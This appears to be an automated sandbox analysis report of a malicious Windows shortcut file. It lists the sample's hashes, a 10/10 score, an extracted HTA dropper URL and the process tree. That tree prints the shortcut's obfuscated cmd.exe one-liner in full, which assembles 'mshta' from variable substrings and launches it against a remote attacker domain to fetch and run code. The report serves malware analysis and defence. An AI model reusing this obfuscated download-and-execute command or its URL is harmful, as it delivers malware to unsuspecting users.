Analysis

  • max time kernel
    148s
  • max time network
    142s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/08/2026, 08:23

General

  • Target
    DOC-YE6TIL.lnk
  • Size 2KB
  • Sample260804-kacqhszzfv
  • SHA256 4af230e034cab6315bc923c42c70bf40489ac0809ab0a49629ad853d21704653
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-YE6TIL.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:5144
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /D /v:on /C "set dsgPv=cachenvezocache&&set jYY=datduxfqgvnnedtibddat&&set xhv=oldamtdxcxhtcmtdold&&set pn=jhmss9j&&set RWcH=suhthw&&set xyz=fnasd&&set Hk=baksebgqfnrdcjfoibbak&&set Jjj=infxheyfxvmmaoyhjecinf&&set BKz=dattmxsqtnxmmsdtdat&&set JGsy=loguhleemeqclrswwzlog&&set Bu=re6st1&&set hlt=xdfaro7c&&set WOiY=xtw&&set bGBJS=cachezsvhiemzlkscsyciicache&&set nhlhg=infwglxixdcpnjfainf&&set KuCS=h@t@tp@s:@//ma@[email protected]@at/h/e@stag@i@[email protected]@hp?@r@=39146@9FB5D82D@B&&start /b !pn:~2,2!!RWcH:~2,2!!xyz:~2,1! !KuCS:@=!"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5860
      • C:\Windows\System32\mshta.exe
        mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
        3⤵
          PID:3728

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads